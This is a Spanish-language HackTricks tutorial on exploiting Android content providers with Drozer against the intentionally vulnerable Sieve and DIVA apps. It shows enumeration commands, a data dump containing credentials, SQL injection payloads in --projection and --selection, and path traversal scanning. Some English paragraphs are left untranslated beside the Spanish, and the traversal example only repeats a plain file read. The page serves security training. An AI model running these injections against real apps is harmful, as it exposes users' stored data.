hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
2023-06-03 01:46:23 +00:00

13 KiB

Explotando Proveedores de Contenido

Explotando Proveedores de Contenido

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introducción

Un componente proveedor de contenido proporciona datos de una aplicación a otras a petición. Dichas solicitudes son manejadas por los métodos de la clase ContentResolver. Un proveedor de contenido puede utilizar diferentes formas de almacenar sus datos y los datos pueden estar almacenados en una base de datos, en archivos, o incluso a través de una red.

Debe ser declarado dentro del archivo Manifest.xml. Ejemplo:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
    <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

En este caso, es necesario el permiso READ_KEYS para acceder a content://com.mwr.example.sieve.DBContentProvider/Keys. (También, observe que en la siguiente sección vamos a acceder a /Keys/ que no está protegido, esto se debe a que el desarrollador se confundió y protegió /Keys pero declaró /Keys/)

Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (Inyección SQL o Traversal de Ruta).

Obtener información de proveedores de contenido expuestos

dz> run app.provider.info -a com.mwr.example.sieve 
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

Podemos reconstruir parte de las URI del contenido para acceder al DBContentProvider, porque sabemos que deben comenzar con "content://" y la información obtenida por Drozer dentro de Path: /Keys.

Drozer puede adivinar y probar varias URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys 
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

También debes revisar el código del ContentProvider para buscar consultas:

Además, si no puedes encontrar consultas completas, puedes verificar qué nombres son declarados por el ContentProvider en el método onCreate:

La consulta será como: content://nombre.del.paquete.clase/nombre_declarado

Content Providers respaldados por bases de datos

Probablemente la mayoría de los Content Providers se utilizan como interfaz para una base de datos. Por lo tanto, si puedes acceder a ella, podrías ser capaz de extraer, actualizar, insertar y eliminar información.
Revisa si puedes acceder a información sensible o intenta cambiarla para burlar los mecanismos de autorización.

Al revisar el código del Content Provider, busca también funciones con nombres como: query, insert, update y delete:

Porque podrás llamarlas.

Consulta de contenido

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insertar contenido

Al consultar la base de datos, aprenderás el nombre de las columnas, luego podrás insertar datos en la base de datos:

Nota que en insert y update puedes usar --string para indicar una cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean

Actualizar contenido

Conociendo el nombre de las columnas, también puedes modificar las entradas:

Eliminar contenido

Inyección SQL

Es fácil probar la inyección SQL (SQLite) manipulando los campos de proyección y selección que se pasan al proveedor de contenido.
Al consultar el proveedor de contenido hay 2 argumentos interesantes para buscar información: --selection y --projection:

Puedes intentar abusar de estos parámetros para probar las inyecciones SQL:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* 
FROM SQLITE_MASTER WHERE type='table';--" 
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... | 
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Descubrimiento automático de SQLInjection por Drozer

Drozer has a module called scanner.provider.sqlinjection that can be used to automatically discover SQL injection vulnerabilities in content providers. This module sends a series of SQL injection payloads to the target content provider and analyzes the responses to determine if a vulnerability exists.

Drozer tiene un módulo llamado scanner.provider.sqlinjection que se puede utilizar para descubrir automáticamente vulnerabilidades de inyección SQL en proveedores de contenido. Este módulo envía una serie de cargas útiles de inyección SQL al proveedor de contenido objetivo y analiza las respuestas para determinar si existe una vulnerabilidad.

dz> run scanner.provider.injection -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
  android_metadata
  notes
  sqlite_sequence

Proveedores de contenido respaldados por el sistema de archivos

Los proveedores de contenido también se pueden utilizar para acceder a archivos:

Leer archivo

Puedes leer archivos desde el proveedor de contenido.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost

Traversing de Ruta

Si puedes acceder a archivos, puedes intentar abusar de una Traversing de Ruta (en este caso no es necesario, pero puedes intentar usar "../" y trucos similares).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost

Descubrimiento automático de Traversal de ruta por Drozer

Drozer has a module that can be used to automatically discover Path Traversal vulnerabilities in Content Providers. The module is called scanner.provider.traversal and it can be used as follows:

Drozer tiene un módulo que se puede utilizar para descubrir automáticamente vulnerabilidades de Traversal de ruta en los proveedores de contenido. El módulo se llama scanner.provider.traversal y se puede utilizar de la siguiente manera:

dz> run scanner.provider.traversal <authority>

Where <authority> is the authority of the Content Provider to be scanned. For example:

Donde <authority> es la autoridad del proveedor de contenido que se va a escanear. Por ejemplo:

dz> run scanner.provider.traversal content://com.example.provider

The module will automatically try to discover Path Traversal vulnerabilities by sending requests to the Content Provider with different traversal patterns. If a vulnerability is found, the module will report it and provide details about the affected Content Provider and the vulnerable URI.

El módulo intentará automáticamente descubrir vulnerabilidades de Traversal de ruta enviando solicitudes al proveedor de contenido con diferentes patrones de Traversal. Si se encuentra una vulnerabilidad, el módulo la informará y proporcionará detalles sobre el proveedor de contenido afectado y la URI vulnerable.

dz> run scanner.provider.traversal -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥